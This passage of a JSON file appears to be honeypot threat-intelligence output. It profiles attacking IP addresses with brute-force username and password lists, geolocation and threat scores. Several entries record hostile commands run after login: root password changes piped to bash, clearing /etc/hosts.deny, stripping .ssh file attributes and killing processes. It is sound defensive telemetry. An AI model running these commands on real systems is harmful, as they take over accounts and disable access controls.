        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Grenoble",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:18:27.112000+00:00",
        "last_seen_30d": "2026-05-21T16:53:36.675000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 277,
        "Suricata": 47
      }
    },
    "177.17.92.158": {
      "attack_count": 276,
      "first_seen": "2026-05-05T11:45:07.719Z",
      "last_seen": "2026-05-05T13:58:47.043Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "user",
        "ftproot",
        "ftpuser",
        "gitadmin",
        "steam",
        "test",
        "test123",
        "ubuntu",
        "user0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "11223344",
        "112233445566",
        "123456",
        "123456..",
        "123456789r",
        "159951",
        "88888888",
        "He123456789",
        "Linux@2024",
        "Mj!@#$%^",
        "Pa@123456",
        "Wc123456789",
        "a147258",
        "abc!1234567",
        "abc123+-*/",
        "admin.2025",
        "azerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"11223344\\nl5CeV3GcsiQE\\nl5CeV3GcsiQE\\n\"|passwd",
        "echo \"root:53svhJ7h7qc9\"|chpasswd|bash",
        "echo -e \"11223344\\nl5CeV3GcsiQE\\nl5CeV3GcsiQE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curvelo",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:45:07.719000+00:00",
        "last_seen_30d": "2026-05-05T13:59:47.717000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 83
      }
    },
    "36.66.16.233": {
      "attack_count": 236,
      "first_seen": "2026-05-18T01:50:09.143Z",
      "last_seen": "2026-05-18T02:27:54.201Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "4rfv$RFV",
        "Johannes",
        "Killer123",
        "Manager1",
        "Oracle@123",
        "ac1ff3750cb1a60a561af107a6dfec2a1",
        "articon",
        "bl4st3r",
        "columbus",
        "fulgercsmode123",
        "gators",
        "k0nig12",
        "kensler",
        "madhu",
        "manishma",
        "oneadmin",
        "password@",
        "qwer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0lwvueEmTcT6\"|chpasswd|bash",
        "echo \"root:Pkpi8OPHbnZN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "South Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:50:09.143000+00:00",
        "last_seen_30d": "2026-05-18T02:34:39.651000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "154.221.35.72": {
      "attack_count": 212,
      "first_seen": "2026-05-31T06:51:24.187Z",
      "last_seen": "2026-05-31T07:17:39.964Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "abhishek",
        "chrism",
        "iot",
        "mohsen",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "Admin@234",
        "Fu123456",
        "Welcome1",
        "ZAQ!2wsxCDE#4rfv",
        "abhishek",
        "chrism",
        "infinity@123",
        "qaz12345@",
        "redhat@123",
        "test",
        "testroot",
        "user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:JbrQTgoVMnRI\"|chpasswd|bash",
        "echo \"test\\nVMXN31uQ9SYZ\\nVMXN31uQ9SYZ\\n\"|passwd",
        "echo -e \"test\\nVMXN31uQ9SYZ\\nVMXN31uQ9SYZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 59187,
      "as_org": "NEEVAI SUPERCLOUD PVT LTD",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:51:24.187000+00:00",
        "last_seen_30d": "2026-05-31T07:18:43.597000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "20.5.130.110": {
      "attack_count": 211,
      "first_seen": "2026-05-31T00:39:13.282Z",
      "last_seen": "2026-05-31T01:13:48.244Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debian",
        "deployer",
        "jenny",
        "nishant",
        "ubuntu",
        "unifi",
        "user-backup"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a@",
        "1Digital",
        "Aptx4869",
        "P@s$w0rd",
        "P@ssw0rd.1",
        "Pa$$w0rd",
        "Qwerty1!",
        "Sw.123456",
        "admin",
        "asdfghjkl",
        "jenny",
        "nishant",
        "root123456@",
        "unifi123",
        "user-backup"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:SPR2WpAtirMj\"|chpasswd|bash",
        "echo \"root:kdKQWzMTTpN0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:39:13.282000+00:00",
        "last_seen_30d": "2026-05-31T01:14:52.372000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 44
      }
    },
    "161.81.109.35": {
      "attack_count": 198,
      "first_seen": "2026-05-18T21:49:42.424Z",
      "last_seen": "2026-05-19T06:21:30.949Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:49:42.424000+00:00",
        "last_seen_30d": "2026-05-19T06:22:39.129000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 99
      }
    },
    "105.184.40.200": {
      "attack_count": 194,
      "first_seen": "2026-05-20T18:44:48.210Z",
      "last_seen": "2026-05-21T06:11:54.050Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Durban",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:44:48.210000+00:00",
        "last_seen_30d": "2026-05-21T06:12:59.941000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 97
      }
    },
    "64.31.53.170": {
      "attack_count": 186,
      "first_seen": "2026-05-04T20:23:29.623Z",
      "last_seen": "2026-05-31T18:58:18.539Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:23:29.623000+00:00",
        "last_seen_30d": "2026-05-31T18:59:20.125000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 93
      }
    },
    "179.61.232.245": {
      "attack_count": 162,
      "first_seen": "2026-05-03T11:37:28.380Z",
      "last_seen": "2026-05-29T23:40:47.261Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:37:28.380000+00:00",
        "last_seen_30d": "2026-05-29T23:41:50.223000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 83
      }
    },
    "60.161.21.83": {
      "attack_count": 162,
      "first_seen": "2026-05-23T08:10:27.066Z",
      "last_seen": "2026-05-23T14:01:17.344Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:10:27.066000+00:00",
        "last_seen_30d": "2026-05-23T14:02:18.646000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 89
      }
    },
    "165.154.6.144": {
      "attack_count": 148,
      "first_seen": "2026-05-27T23:36:09.633Z",
      "last_seen": "2026-05-28T00:03:26.988Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "dylan",
        "etienne",
        "grid",
        "james",
        "kapsch",
        "ryan",
        "stan"
      ],
      "passwords_attempted": [
        "123!@#",
        "123123qwe",
        "1qazxsw@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "987654",
        "ItsemoemoWashere2023support",
        "P@ssword123",
        "dylan@123",
        "etienne",
        "fjbdfdjkdsfs541544",
        "james1234",
        "kapsch",
        "p@SSW0rd",
        "ryan1234",
        "scanner123",
        "stan123",
        "test123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aGd3wMeOb6Hq\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:36:09.633000+00:00",
        "last_seen_30d": "2026-05-28T00:04:35.969000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 41
      }
    },
    "38.191.151.66": {
      "attack_count": 142,
      "first_seen": "2026-05-22T20:33:31.515Z",
      "last_seen": "2026-05-23T07:48:49.045Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Alto Alegre",
      "asn": 273446,
      "as_org": "DBR TELECOMUNICACOES LTDA",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:33:31.515000+00:00",
        "last_seen_30d": "2026-05-23T07:49:50.454000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 71
      }
    },
    "191.101.33.114": {
      "attack_count": 138,
      "first_seen": "2026-05-11T05:40:16.113Z",
      "last_seen": "2026-05-31T20:02:27.779Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:40:16.113000+00:00",
        "last_seen_30d": "2026-05-31T20:03:32.027000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "208.87.242.107": {
      "attack_count": 126,
      "first_seen": "2026-05-03T17:11:19.186Z",
      "last_seen": "2026-05-31T18:37:56.900Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:11:19.186000+00:00",
        "last_seen_30d": "2026-05-31T18:39:01.885000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "50.6.197.105": {
      "attack_count": 126,
      "first_seen": "2026-05-08T10:02:06.568Z",
      "last_seen": "2026-05-30T22:19:13.218Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:02:06.568000+00:00",
        "last_seen_30d": "2026-05-30T22:20:20.873000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "45.40.132.150": {
      "attack_count": 119,
      "first_seen": "2026-05-31T02:02:07.869Z",
      "last_seen": "2026-05-31T02:22:24.767Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "debian",
        "345gs5662d34",
        "test",
        "user",
        "vlad"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "12345679",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa321321",
        "Cheese123",
        "Debian@123",
        "Nb123",
        "P@$$w0rd2024",
        "azerty",
        "root123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"azerty\\ncGNJlCN6VbzF\\ncGNJlCN6VbzF\\n\"|passwd",
        "echo -e \"azerty\\ncGNJlCN6VbzF\\ncGNJlCN6VbzF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:02:07.869000+00:00",
        "last_seen_30d": "2026-05-31T02:23:26.022000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "196.188.187.45": {
      "attack_count": 103,
      "first_seen": "2026-05-30T09:04:22.297Z",
      "last_seen": "2026-05-30T09:44:15.332Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "alex",
        "git",
        "rc"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "12345",
        "123qweASD!@#",
        "3245gs5662d34",
        "admin123456",
        "qweqwe123123",
        "qwerty23",
        "zxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vqPBnY2XECPE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:04:22.297000+00:00",
        "last_seen_30d": "2026-05-30T09:45:18.847000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 33
      }
    },
    "195.60.175.119": {
      "attack_count": 92,
      "first_seen": "2026-05-25T01:56:39.817Z",
      "last_seen": "2026-05-25T03:07:27.391Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bot1",
        "curl",
        "production"
      ],
      "passwords_attempted": [
        "Yx123456.",
        "alireza",
        "bot1",
        "fjbdfdjkdsfs541544@@",
        "production",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nE3P2jB946gz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
